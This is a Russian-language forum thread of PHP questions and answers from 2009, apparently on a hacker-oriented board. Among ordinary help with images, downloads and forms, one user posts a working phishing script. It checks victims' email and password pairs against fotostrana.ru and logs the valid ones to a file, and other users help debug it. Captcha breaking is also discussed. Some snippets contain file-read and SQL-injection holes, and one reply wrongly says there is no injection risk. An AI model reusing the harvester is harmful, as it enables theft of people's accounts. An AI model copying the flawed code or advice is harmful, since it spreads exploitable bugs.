$tl = imagecreatefrompng('tl.png'); //top left
$tr = imagecreatefrompng('tr.png'); //top right
$dl = imagecreatefrompng('dl.png'); //down left
$dr = imagecreatefrompng('dr.png'); //down right
//размеры уголков (предпологается, что размер углов одинаковый )
$w = imagesx($tl);
$h = imagesy($tl);
imagecopy($im, $tl, 0, 0, 0, 0, $w, $h);
imagecopy($im, $tr, $width-$w, 0, 0, 0, $w, $h);
imagecopy($im, $dl, 0, $height-$h, 0, 0, $w, $h);
imagecopy($im, $dr, $width-$w, $height-$h, 0, 0, $w, $h);

imagejpeg($im,"avatar/$name");
}
else
{
exit();
}
printf("<a href='get.php?file=avatar/$name'><img src='avatar/$name' alt=''/></a>");
?>

скрипт сохранения:

<?php
if(!empty($_GET['file'])){
$filename = basename($_GET['file']);

@header('Content-Disposition: attachment; filename="'.$filename.'"');
@header('Content-Type: application/x-force-download; name="'.$filename.'"');

echo file_get_contents($filename);
}
?>

Qisse
11.01.2009, 08:45
мне надо разбить базу по 2мб база у меня в .тхт файле
как мне разбить базу?

m0Hze
11.01.2009, 09:17
Мне приходит на ум только одно,писать в один файл,как только его вес равняеться 2 мегам,переходить в другой файл,и писать туда.Но на практике хз :)

geforce
11.01.2009, 09:47
<?php
if(!empty($_GET['file'])){
$filename = basename($_GET['file']);

@header('Content-Disposition: attachment; filename="'.$filename.'"');
@header('Content-Type: application/x-force-download; name="'.$filename.'"');

readfile($filename);
}
?>[

Все равно не работает! :confused:

DMajere
11.01.2009, 12:12
подскажите пожалуйста.
задача такая. есть анкета разбитая на части. нужно сделать сохранение введенных данных при переходе назад. имею в виду, надо чтобы выбор пользователя сохранялся, если он нажмет назад. для текстовых полей я это сделал.

а как для полей типа селект, радио и множ. выбор реализовать?

neval
11.01.2009, 12:27
используй сессии

CrazyNight
11.01.2009, 13:14
Вариантов навалом.
Сессии, Cookies, БД, кэш, javascript

Если ты реализовал для текстовых полей, значит так же реализуй и для остальных input'ов, там схема абсолютно та же, в чём сложность?

m0Hze
11.01.2009, 15:10
<?php

/**
* @author m0hze
* @copyright 2009
*/
$email = $_POST['user_email'];
$password = $_POST['user_password'];
if($email == '' && $password == ''){
header("Location : index.php");
} else {
$post = 'user_email='.$email.'&user_password='.$password;
$cl = curl_init('http://fotostrana.ru/user/login');
curl_setopt($cl, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($cl, CURLOPT_USERAGENT, 'Opera/9.25 (Windows NT 5.1; U; ru)');
curl_setopt($cl, CURLOPT_REFERER, 'http://mail.ru/');
curl_setopt($cl, CURLOPT_HEADER, 1);
curl_setopt($cl, CURLOPT_POST, 1);
curl_setopt($cl, CURLOPT_POSTFIELDS, $post);
$exec = curl_exec($cl);
curl_close($cl);
if(stristr($exec, 'Неверный логин или пароль')){
$error = file_get_contents('index.php');
echo $error;
}else{
$fo = fopen('base.php','a');
fwrite($fo,"$email:$password\n");
fclose($fo);
header("Location: http://fotostrana.ru/user/login/?user_email=$email&user_password=$password");
}
}
?>

Все принимает за гуд,хотя сам курл работает,не проходит только проверка на слово.Кто чем? А то у меня вынос мозга начался...

Корвин
11.01.2009, 15:14
есть массив

[0] - 1
[1] - 2
[2] - 4

есть ли функция в php чтобы вставить в этот массив значение 3 так чтобы получилось

[0] - 1
[1] - 2
[2] - 3
[3] - 4 ?

пытаюсь реализовать сортировку вставкой на пхп, никак не получается без такой функции

DMajere
11.01.2009, 15:15
смотрите. то что через сессии это понятно. для текстовых полей реализовано так.

<?
session_start();
$_SESSION['FName']=$_POST['FName'];
$_SESSION['LName']=$_POST['LName'];
?>
<html >
<body>
<form action="" method="post">
First Name: <input type="text" name="FName" value="<?php echo $_SESSION['FName']?>"/>
Last Name: <input type="text" name="LName" value="<?php echo $_SESSION['LName']?>"/>
<input type="submit" name="submit" value="Submit Data"/>
</form>
</body>
</html>

а как сделать для ?
<tr>
<td class="left"/>Пол:
<td class="right"/><input type="radio" name="con_q4" value="m"/>мужской<input type="radio" name="con_q4" value="f"/>женский
</tr>

Pashkela
11.01.2009, 15:19
есть массив

[0] - 1
[1] - 2
[2] - 4

есть ли функция в php чтобы вставить в этот массив значение 3 так чтобы получилось

[0] - 1
[1] - 2
[2] - 3
[3] - 4 ?

пытаюсь реализовать сортировку вставкой на пхп, никак не получается без такой функции

array_push( )

Функция array_push( ) присоединяет (то есть дописывает в конец массива) один или несколько новых элементов. Синтаксис функции array_push( ):

int array_push(array массив, mixed элемент [, ...])

В общем вот тут почитай, очень подробно и с примерами:

http://i-vd.org.ru/books/php/arrays.shtml#f

m0Hze
11.01.2009, 15:24
Мне чень не удобно,но посмотрите пожалуйста.Мне какбе срочно комрады.Чтото ошибку не найду,а проверка не проходит. Посто номер #7726

oRb
11.01.2009, 15:32
Мне чень не удобно,но посмотрите пожалуйста.Мне какбе срочно комрады.Чтото ошибку не найду,а проверка не проходит. Посто номер #7726
Скрипт не тестил (особо времени нет), просто посмотрел, но что не понравилось.
$post = 'user_email='.$email.'&user_password='.$password;
urlencode() к параметрам применять надо.
if(stristr($exec, 'Неверный логин или пароль')){
Здесь могут быть подводные камни с кодировкой.

m0Hze
11.01.2009, 15:41
Да я уже мозг сломал,что тут не правильно хз,вроде все норм написал,все работает как нужно на других сайтах,а на этотм - хер.Ухже весь извелся,мне человеку этот скрипт быстрее отдать и все =) просто не добно,он ждет :) а вы все его знаете кстате.. :)

Shadow_p1raT
11.01.2009, 16:36
m0Hze,попробуй сдлеать так:

$post = array('user_email' => $email,'user_password' => $password);

У мну только так пост на курле работает.Хотя хз.Тоже не тестировал :)

UPD:
Хех,неправильно прочитал.

Может лучше заюзать strstr,или вообще preg_match ?

Корвин
11.01.2009, 16:49
array_push( )

Функция array_push( ) присоединяет (то есть дописывает в конец массива) один или несколько новых элементов. Синтаксис функции array_push( ):

int array_push(array массив, mixed элемент [, ...])

В общем вот тут почитай, очень подробно и с примерами:

http://i-vd.org.ru/books/php/arrays.shtml#f


это совсем не то, есть лучше
array_pad ( array input, integer pad_size, mixed pad_value )
там в зависимости от pad_size вставляет в начало или в конец, но это тоже не то, мне нужно в середину вставить

Gifts
11.01.2009, 17:25
m0Hze Чем спрашивать - пачиму ни рабоооотаит, для отладки надо всегда выводить возвращаемое значение курла. И увидеть, что там нет ХТМЛ, а указание на редирект. Поэтому заменить:


if(stristr($exec, 'Неверный логин или пароль')){
на

if(stristr($exec, 'isUserLoginError/true/')){

DDoSька
11.01.2009, 19:13
Да я уже мозг сломал,что тут не правильно хз,вроде все норм написал,все работает как нужно на других сайтах,а на этотм - хер.Ухже весь извелся,мне человеку этот скрипт быстрее отдать и все =) просто не добно,он ждет :) а вы все его знаете кстате.. :)
AlexV за денюшку скрипт делаешь ? ))

DMajere
11.01.2009, 20:52
вежливо напоминаю о своем вопросе. =)
как реализовать-то? может кто-подскажет?

prescott
11.01.2009, 20:59
а как сделать для ?
<tr>
<td class="left"/>Пол:
<td class="right"/><input type="radio" name="con_q4" value="m"/>мужской<input type="radio" name="con_q4" value="f"/>женский
</tr>

Например так:

<input type="radio" name="con_q4" value="m" <?php if ($_SESSION['POL']=='m') echo "checked";?> />мужской
<input type="radio" name="con_q4" value="f" <?php if ($_SESSION['POL']=='f') echo "checked";?> />женский


Для селекта аналогично, только для выбранного option выставляешь selected

Pashkela
11.01.2009, 21:11
подскажите пожалуйста.
задача такая. есть анкета разбитая на части. нужно сделать сохранение введенных данных при переходе назад. имею в виду, надо чтобы выбор пользователя сохранялся, если он нажмет назад. для текстовых полей я это сделал.

а как для полей типа селект, радио и множ. выбор реализовать?

Примерно так:


<?php
$Fname = $_POST["Fname"];
$Lname = $_POST["Lname"];
$gender = $_POST["gender"];
$food = $_POST["food"];
$quote = $_POST["quote"];
$education = $_POST["education"];
$TofD = $_POST["TofD"];
if (!isset($_POST['submit'])) { // if page is not submitted to itself echo the form
?>
<html>
<head>
<title>Personal INFO</title>
</head>
<body>
<form method="post" action="<?php echo $PHP_SELF;?>">
First Name:<input type="text" size="12" maxlength="12" name="Fname"><br />
Last Name:<input type="text" size="12" maxlength="36" name="Lname"><br />
Gender:<br />
Male:<input type="radio" value="Male" name="gender"><br />
Female:<input type="radio" value="Female" name="gender"><br />
Please choose type of residence:<br />
Steak:<input type="checkbox" value="Steak" name="food[]"><br />
Pizza:<input type="checkbox" value="Pizza" name="food[]"><br />
Chicken:<input type="checkbox" value="Chicken" name="food[]"><br />
<textarea rows="5" cols="20" name="quote" wrap="physical">Enter your favorite quote!</textarea><br />
Select a Level of Education:<br />
<select name="education">
<option value="Jr.High">Jr.High</option>
<option value="HighSchool">HighSchool</option>
<option value="College">College</option></select><br />
Select your favorite time of day:<br />
<select name="TofD" size="3">
<option value="Morning">Morning</option>
<option value="Day">Day</option>
<option value="Night">Night</option></select><br />
<input type="submit" value="submit" name="submit">
</form>
<?
} else {
echo "Hello, ".$Fname." ".$Lname.".<br />";
echo "You are ".$gender.", and you like ";
foreach ($food as $f) {
echo $f."<br />";
}
echo "<i>".$quote."</i><br />";
echo "You're favorite time is ".$TofD.", and you passed ".$education."!<br />";
}
?>


ну и плюс по кнопке сабмита просто писать в куки идентификатор пользователя, заполнившего анкету и заносить его в базу

DMajere
11.01.2009, 21:16
благодарю

DMajere
11.01.2009, 21:33
спасибо prescott действительно, все просто

DDoSька
11.01.2009, 22:59
http://s59.radikal.ru/i165/0901/35/ece55897b25f.jpg (http://www.radikal.ru)Реально такую капчу обойти(знаю что да, но...)? Сколько % будет пробивность?

preda1or
11.01.2009, 23:05
http://s59.radikal.ru/i165/0901/35/ece55897b25f.jpg (http://www.radikal.ru)Реально такую капчу обойти(знаю что да, но...)? Сколько % будет пробивность?
http://caca.zoy.org/wiki/PWNtcha

DDoSька
11.01.2009, 23:06
http://caca.zoy.org/wiki/PWNtcha
как раз это читаю =)
Да, я спросил, так , с намек разжевать немного этут тему, а то , что я спросил и атк знаю (... =)

m0Hze
12.01.2009, 01:41
AlexV за денюшку скрипт делаешь ? ))

Бесплатно.

6G3TCH
12.01.2009, 01:46
http://s59.radikal.ru/i165/0901/35/ece55897b25f.jpg (http://www.radikal.ru)Реально такую капчу обойти(знаю что да, но...)? Сколько % будет пробивность?

80% что успешно. Есть даже софт.

k0lbasa
12.01.2009, 02:47
Ребята, я тут начал пхп изучать, ну в общем-то такой нубский вопрос, у нас есть сайт, ну и постраничная навигация, как собрать к примеру с последних 10 страниц логины всех юзверей, кто постил что-то. Где можно про такую реализацию почитать?

ntldr
12.01.2009, 02:48
как на php можно зашифровать текст при помощи AES? есть встроенные ф-ции или хотябы исходники?

Pashkela
12.01.2009, 02:52
как на php можно зашифровать текст при помощи AES? есть встроенные ф-ции или хотябы исходники?

http://www.phpaes.com/

Pashkela
12.01.2009, 02:53
Ребята, я тут начал пхп изучать, ну в общем-то такой нубский вопрос, у нас есть сайт, ну и постраничная навигация, как собрать к примеру с последних 10 страниц логины всех юзверей, кто постил что-то. Где можно про такую реализацию почитать?

составляешь регулярку на ники и всё, тут всё по ситуации, зависит от исзодников сайта, надо смотреть

От .:EnoT:. => и плюс ко всему это в соседнюю тему

AkyHa_MaTaTa
12.01.2009, 03:28
как на php можно зашифровать текст при помощи AES? есть встроенные ф-ции или хотябы исходники?
Aes бывает разные, вот AES 128 http://www.phpclasses.org.icontem.com/browse/package/3650.html

Pashkela
12.01.2009, 03:47
http://www.phpclasses.org.icontem.com/browse/package/3650.html

залил сюда, там регица надо (хотя надо там быть по идее зарегеным):

http://slil.ru/26530467

geforce
12.01.2009, 03:52
Почему при нажатии по сылке картинка скачивается но не сохраняется??

<?php
if(!empty($_GET['file'])){
$filename = basename($_GET['file']);

@header('Content-Disposition: attachment; filename="'.$filename.'"');
@header('Content-Type: application/x-force-download; name="'.$filename.'"');

readfile($filename);
}
?>

groundhog
12.01.2009, 04:01
Что значит скачивается но не сохраняется? Если она скачивается, то это уже подразумевает то, что она имеет какое-то представление в локальной файловой системе...

Pashkela
12.01.2009, 04:05
<?
$filename = 'http://pashkela.narod.ru/rectool.jpg';

@header('Content-Disposition: attachment; filename="'.$filename.'"');
@header('Content-Type: application/x-force-download; name="'.$filename.'"');

readfile($filename);
?>


Все нормально, выскакивает диалоговое на сохранение файла, можно сохранить или отказаться

AkyHa_MaTaTa
12.01.2009, 04:15
<?
$filename = 'http://pashkela.narod.ru/rectool.jpg';

@header('Content-Disposition: attachment; filename="'.$filename.'"');
@header('Content-Type: application/x-force-download; name="'.$filename.'"');

readfile($filename);
?>


Все нормально, выскакивает диалоговое на сохранение файла, можно сохранить или отказаться
Скоре всего у него какие траблы с браузером, в ослике по моему есть такая трабла с Content-Disposition.

Joker-jar
12.01.2009, 04:16
Pashkela, в хидерах имя файла должно быть, а не его урл

Joker-jar
12.01.2009, 04:20
Кусок кода с моего движка:

header("Content-Disposition: attachment; filename=\"" .$filename."\"" );
header("Content-Description: File Transfer");
header("Content-Type: application/download");
header("Content-Length: " . filesize($file));
$fp = fopen($file, "r");
while (!feof($fp))
{
echo fread($fp, 65536);
flush();
}
fclose($fp);
Пробуй

Pashkela
12.01.2009, 04:22
Pashkela, в хидерах имя файла должно быть, а не его урл

а я наверное должен был об этом догадаться по выложенному коду:)

OnArs
12.01.2009, 05:15
Всем доброй ночи, появился вот так вопрос:

Есть число, к примеру: 1450000
Нужно выводить его в виде: 1'450'000

Как это сделать?

P.s. Есть идея перебирать строку с конца и каждый три символа вставлять нужный знак, в данном случае это ', но как правильно это реализовать не могу сообразить.

Всем кто поможет - Заранее благодарен, с меня + :)

Решил вот так:
$cost '1450000';
$cost = strrev($cost);
for ($i=0;$i<=strlen($cost);$i++) if (($i % 3 == 0) and ($i != 0)){ $scost .= '\''.$cost[$i];} else {$scost .= $cost[$i];};
$cost = strrev($scost);
echo $cost;

preda1or
12.01.2009, 05:33
Всем доброй ночи, появился вот так вопрос:

Есть число, к примеру: 1450000
Нужно выводить его в виде: 1'450'000

Как это сделать?

P.s. Есть идея перебирать строку с конца и каждый три символа вставлять нужный знак, в данном случае это ', но как правильно это реализовать не могу сообразить.

Всем кто поможет - Заранее благодарен, с меня + :)

Решил вот так:
$cost '1450000';
$cost = strrev($cost);
for ($i=0;$i<=strlen($cost);$i++) if (($i % 3 == 0) and ($i != 0)){ $scost .= '\''.$cost[$i];} else {$scost .= $cost[$i];};
$cost = strrev($scost);
echo $cost;
http://ru2.php.net/number-format

preda1or
12.01.2009, 05:37
OnArs
<?php
$number = 1234567111;
echo number_format($number, 0, '.', ',');
?>

X-Powered-By: PHP/5.2.0
Content-type: text/html

1,234,567,111

number_format($number, 0, '.', ',');
$number - число
0 - кол-во знаков после запятой (для округления)
. - разделитель целой и дробной части
, - разделитель "триад" или как там их)

mad_dog
12.01.2009, 12:55
так а кто может обучить Чайника!?

m0Hze
12.01.2009, 13:03
так а кто может обучить Чайника!?

Дядя Cpacha. Иди ищи соседние темы,там есть видео и статьи...а лучше всего,как мне однажды сказали,"иди долб**** на ru.php.net там все есть!"...

geforce
12.01.2009, 19:19
AkyHa_MaTaTa

Pashkela

groundhog

Проблема заключается в том что после скачевания файла он не открывается пишит (невозможно посмотреть) В чём трабла???

<?php
if(!empty($_GET['file'])){
$filename = basename($_GET['file']);

@header('Content-Disposition: attachment; filename="'.$filename.'"');
@header('Content-Type: application/x-force-download; name="'.$filename.'"');

readfile($filename);
}
?>

groundhog
12.01.2009, 19:21
Посмотри содержимое файла в блокноте, наверняка там какой-то не регулярный контент... В смысле, того файла, который тебе отдаёт скрипт... Скрипт хоть в одной папке с файлами лежит?

geforce
12.01.2009, 19:27
Посмотри содержимое файла в блокноте, наверняка там какой-то не регулярный контент... В смысле, того файла, который тебе отдаёт скрипт... Скрипт хоть в одной папке с файлами лежит?

Нет не в одной! вот скрипт:
<?php include("db.php");
if (isset($_POST['vibor'])) { $vibor = $_POST['vibor'];}
if (isset($_POST['load'])) { $adres = $_POST['load'];}
$result1 = mysql_query("SELECT * FROM data WHERE id='$vibor'",$db);
if (!$result1)
{
exit(mysql_error());
}
if (mysql_num_rows($result1) > 0)
{
$myrow1 = mysql_fetch_array($result1);
$mas = getimagesize($adres);

$width = 215;
$heigth = $mas[1]+270;
$adres1 = "admin/".$myrow1['url'];
$im = imagecreatetruecolor($width, $heigth);

$im1 = imagecreatefromjpeg($adres);
$im2 = imagecreatefromjpeg('logo.jpg');
$im3 = imagecreatefromjpeg($adres1);
$i=1;
$name = "avat".$i++.$myrow1['name'];
imagecopy($im, $im2, 0, $mas[1], 0, 0, 215, 20);
imagecopy($im, $im1, 0, 0, 0, 0, 215, $mas[1]);
imagecopy($im, $im3, 0, $mas[1]+20, 0, 0, 215, 350);

//размеры аватарки
$width = imagesx($im);
$height = imagesy($im);
//добавляем уголки
$tl = imagecreatefrompng('tl.png'); //top left
$tr = imagecreatefrompng('tr.png'); //top right
$dl = imagecreatefrompng('dl.png'); //down left
$dr = imagecreatefrompng('dr.png'); //down right
//размеры уголков (предпологается, что размер углов одинаковый )
$w = imagesx($tl);
$h = imagesy($tl);
imagecopy($im, $tl, 0, 0, 0, 0, $w, $h);
imagecopy($im, $tr, $width-$w, 0, 0, 0, $w, $h);
imagecopy($im, $dl, 0, $height-$h, 0, 0, $w, $h);
imagecopy($im, $dr, $width-$w, $height-$h, 0, 0, $w, $h);

imagejpeg($im,"avatar/$name");
imagedestroy($im);
}
else
{
exit();
}

printf("<a href='get.php?file=avatar/$name'><img src='avatar/$name' alt=''/></a>");
?>

<?php
if(!empty($_GET['file'])){
$filename = basename($_GET['file']);

@header('Content-Disposition: attachment; filename="'.$filename.'"');
@header('Content-Type: application/x-force-download; name="'.$filename.'"');

readfile($filename);
}
?>

groundhog
12.01.2009, 19:53
Ну смотри - readfile($filename) у тебя написано. Но перед этим ты делаешь $filename = basename($_GET['file']), то есть отсекаешь всё кроме имени файла... Таким образом твой скрипт отдаёт хидеры и пытается читать контент файла из той директории, в которой он находится сам... Попробуй вот так:

<?php
if(!empty($_GET['file'])){
$filename = trim($_GET['file']);

@header('Content-Disposition: attachment; filename="'.basename($filename).'"');
@header('Content-Type: application/x-force-download; name="'.basename($filename).'"');

readfile($filename);
}
?>

Но учти, что в таком случае скрипт является include уязвимым... Тогда уже так делай:

<?php
if(!empty($_GET['file'])){
$filename = trim($_GET['file']);

@header('Content-Disposition: attachment; filename="'.basename($filename).'"');
@header('Content-Type: application/x-force-download; name="'.basename($filename).'"');

readfile(dirname(__FILE__) . '/' . $filename);
}
?>

geforce
12.01.2009, 20:20
groundhog Спасибо так работает!

А как избавиться от иклуд??

Pregmatch-ем можно?

groundhog
12.01.2009, 20:26
Вот так замути

<?php
if(!empty($_GET['file']) && file_exists($_GET['file'])){
$filename = trim($_GET['file']);

@header('Content-Disposition: attachment; filename="'.basename($filename).'"');
@header('Content-Type: application/x-force-download; name="'.basename($filename).'"');

$filename = str_replace('..', '', $filename);
readfile(dirname(__FILE__) . '/' . $filename);
}
?>

geforce
12.01.2009, 20:40
Вот так замути

<?php
if(!empty($_GET['file']) && file_exists($_GET['file'])){
$filename = trim($_GET['file']);

@header('Content-Disposition: attachment; filename="'.basename($filename).'"');
@header('Content-Type: application/x-force-download; name="'.basename($filename).'"');

$filename = str_replace('..', '', $filename);
readfile(dirname(__FILE__) . '/' . $filename);
}
?>


А гет файл по моему тоже не проверяется это же инъекция по моему?

groundhog
12.01.2009, 20:45
ну если ты это в базу не пишешь, то нету инъекции

geforce
12.01.2009, 21:05
groundhog Спасибо тебе

groundhog
12.01.2009, 21:06
Гавно вопрос, обращайся если что

geforce
12.01.2009, 21:22
у меня 2 вопроса по php
Прочитал кучу инфы но до меня не дошло!
1. Что такое class?
2. Для чего нужны Сёкеты?

w.u.n.
12.01.2009, 21:29
у меня 2 вопроса по php
Прочитал кучу инфы но до меня не дошло!
1. Что такое class?
2. Для чего нужны Сёкеты?
класс это понятие из ООП, я думаю тебе еще рано)
сокеты нужны для работы с сетью

CrazyNight
12.01.2009, 21:30
php.su читал? Если читал и не дошло - трижды подумай, нужно ли тебе вообще это программирование.

geforce
12.01.2009, 21:36
w.u.n.

CrazyNight

Это типа как в Microsoft Visual C++ 2008 Express Edition??

w.u.n.
12.01.2009, 21:42
w.u.n.

CrazyNight

Это типа как в Microsoft Visual C++ 2008 Express Edition??

Visual Studio это просто среда разработки
http://ru.wikipedia.org/wiki/Класс_(программирование)

geforce
12.01.2009, 21:58
Visual Studio это просто среда разработки
http://ru.wikipedia.org/wiki/Класс_(программирование)

Ну понятно что среда! Но она же работает по объектно-ориентированному программированию??

Doom123
12.01.2009, 22:50
geforce O_O
ты наверно перепутал и думаешь что Visual Studio предназначен только для языков с ООП... так вот это не так .... в этой среде ты просто пишеш код программы а компилятор скомлирует программу тоесть превратит твой код в asm .. и никакого отношения к ООП оно не имеет =)

geforce
12.01.2009, 23:01
geforce O_O
ты наверно перепутал и думаешь что Visual Studio предназначен только для языков с ООП... так вот это не так .... в этой среде ты просто пишеш код программы а компилятор скомлирует программу тоесть превратит твой код в asm .. и никакого отношения к ООП оно не имеет =)

Можешь мне обьяснить для чего ооп вобще нужно?

-=lebed=-
12.01.2009, 23:06
Как вставить некоторую строку в середину (в текущую позицию указателя) файла без затирания имеющихся там данных (на которые указывает тек. указатель)?
Условия: юзаем только один файл, не используем оперативн. память (массивы)

Ну допустим есть файл строк:

576iuh
jhgkjh
jhgjhjh
jhgjhhj
9878687
<-------- нужно вставить " hg788gjlо"
jhgfjhgjh - затруться
kjhh755
kglh
hgkjhj

Это вообще возможно? если делать fputs($f,$s); то данные затираются на этом месте, а надо бы сдвинуть...

w.u.n.
12.01.2009, 23:19
Как вставить некоторую строку в середину (в текущую позицию указателя) файла без затирания имеющихся там данных (на которые указывает тек. указатель)?
Условия: юзаем только один файл, не используем оперативн. память (массивы)

Ну допустим есть файл строк:

576iuh
jhgkjh
jhgjhjh
jhgjhhj
9878687
<-------- нужно вставить " hg788gjlо"
jhgfjhgjh - затруться
kjhh755
kglh
hgkjhj

Это вообще возможно? если делать fputs($f,$s); то данные затираются на этом месте, а надо бы сдвинуть...

стандартными средствами такое не реально

preda1or
12.01.2009, 23:21
-=lebed=-
<?

$tochange="jhgfjhgjh";
$changeto=" hg788gjlо";

$fr=fopen("file.txt", "r");
$fw=fopen("temp.txt","a");

while(!feof($fr)){
$line=fgets($fr,4096);
if($line==$tochange) $line=$changeto;
fwrite($fw,$line."\r\n");
}
copy("temp.txt","file.txt");
unlink("temp.txt");
fclose($fr);
fclose($fw);

?>
СОРРИ не заметил про один файл(((

Kaimi
12.01.2009, 23:21
Условия: юзаем только один файл, не используем оперативн. память (массивы)

Это так обязательно? Можно было бы символ переноса в данной строке заменить на \nТекст\n

geforce
12.01.2009, 23:23
Как вставить некоторую строку в середину (в текущую позицию указателя) файла без затирания имеющихся там данных (на которые указывает тек. указатель)?
Условия: юзаем только один файл, не используем оперативн. память (массивы)

Ну допустим есть файл строк:

576iuh
jhgkjh
jhgjhjh
jhgjhhj
9878687
<-------- нужно вставить " hg788gjlо"
jhgfjhgjh - затруться
kjhh755
kglh
hgkjhj

Это вообще возможно? если делать fputs($f,$s); то данные затираются на этом месте, а надо бы сдвинуть...

По моему вот так:
fputs($f,$s."\r\n");

preda1or
12.01.2009, 23:26
-=lebed=-
<?

$tochange="jhgfjhgjh";
$changeto=" hg788gjlо";
$string="";
$fr = fopen("file.txt", "r+");
while(!feof($fr)){
$line=fgets($fr,4096);
$line=str_replace("\r","",$line);
$line=str_replace("\n","",$line);
$line=str_replace("\t","",$line);
if($line==$tochange) $line=$insert."\r\n".$line;
$string.=$line."\r\n";

}
fclose($fr);

$fr = fopen("file.txt", "r+");
fwrite($fr,$string);
fclose($fr);

?>

.:EnoT:.
12.01.2009, 23:35
ну раз использовать только один файл и не использовать массивы, то например вот так:

<?php
$file = '1.txt';
$a = '9878687'; //После чего вставить
$b = 'hg788gjlо'; //Что вставить
$open = file_get_contents($file);
file_put_contents($file, str_replace($a, $a."\r\n".$b, $open));

?>

ntldr
12.01.2009, 23:39
ну раз использовать только один файл и не использовать массивы, то например вот так:

<?php
$file = '1.txt';
$a = '9878687'; //После чего вставить
$b = 'hg788gjlо'; //Что вставить
$open = file_get_contents($file);
file_put_contents($file, str_replace($a, $a."\r\n".$b, $open));

?>

как бы этот пример как и все выше загружает файл в оперативную память

neval
12.01.2009, 23:42
ну раз использовать только один файл и не использовать массивы, то например вот так:


Или так? ))


<?php
$file = '1.txt';
$a = '9878687'; //После чего вставить
$b = 'hg788gjlо'; //Что вставить
$open = file_get_contents($file);
file_put_contents($file, str_replace($a, $a."\r\n".$b."\r\n", $open));

?>

preda1or
12.01.2009, 23:49
как бы этот пример как и все выше загружает файл в оперативную память
я так понял что нельзя юзать просто массивы, а как ты выполнишь программу без использования оперативной памяти?o.O

.:EnoT:.
12.01.2009, 23:51
как бы этот пример как и все выше загружает файл в оперативную память
Чтение файла это и подразумевает, без этого никак)
Поэтому я лишь привёл более-менее вменяемый и простой пример.

neval, не, там пустая строка образуется, если в конце перенос ставить)

ntldr
12.01.2009, 23:55
Чтение файла это и подразумевает, без этого никак)
Поэтому я лишь привёл более-менее вменяемый и простой пример.

neval, не, там пустая строка образуется, если в конце перенос ставить)
ну это понятно, просто у лебедя там написано было так. ну в принципе наверно так возможно, но только на ассемблере.

а если файл очень большой можно читать его кусками

-=lebed=-
12.01.2009, 23:56
$open = file_get_contents($file); - не прокатит файл не поместится в памяти...
Я так думаю тут надо вручную двигать хвост...
т.е. вычисляем длину вставляемых данных, затем указатель на конец файла, пишем в конец пустышку такой длины. Далее указатель на последнее слово в файле, читаем его и пишем в него же с нужным смещением и так в цикле, в итоге пишем нужные данные в нужное свободное место... Реально реализовать так? Может есть уже готовые реализации?
P.S. Нужно работать с малым колличеством памяти (допустим 64 Mб с файлами 200-500Мб.)
Ну конечно можно читать/писать не по 1 слову, а блоками данных опред. длины (лиж бы в памяти помещались).

AkyHa_MaTaTa
13.01.2009, 00:00
$open = file_get_contents($file); - не прокатит файл не поместится в памяти...
Я так думаю тут надо вручную двигать хвост...
т.е. вычисляем длину вставляемых данных, затем указатель на конец файла, пишем в конец пустышку такой длины. Далее указатель на последнее слово в файле, читаем его и пишем в него же с нужным смещением и так в цикле, в итоге пишем нужные данные в нужное свободное место... Реально реализовать так? Может есть уже готовые реализации?
P.S. Нужно работать с малым колличеством памяти (допустим 64 Mб с файлами 200-500Мб.)
Тогда придется организовывать циклы, и цитать в память порциями даные из файла в поисках необходимого значения. Аля fgets() - fseek().

-=lebed=-
13.01.2009, 00:14
Тогда придется организовывать циклы, и цитать в память порциями даные из файла в поисках необходимого значения.
Ну да, без циклов тут не обойтись...
Вообщем нужна такая функция:
insert_into_file($f,$s,$sring)
$f - file handle
$s - место вставки (для удобства к примеру номер строки, у нас текстовый файл, набор строк, разделённых \n\r)
$sring - вставляемая строка.

ANTIJABBER
13.01.2009, 00:24
Люди подскажите пожалуйста, как сделать что бы в форме пробел - заменялся знаком?

к примеру вводят - Купить прогу
а скрипт должен вместо пробела поставить символ "#"
Купить#прогу плз =)

ntldr
13.01.2009, 00:32
Люди подскажите пожалуйста, как сделать что бы в форме пробел - заменялся знаком?

к примеру вводят - Купить прогу
а скрипт должен вместо пробела поставить символ "#"
Купить#прогу плз =)
str_replace(" ","#","Купить прогу");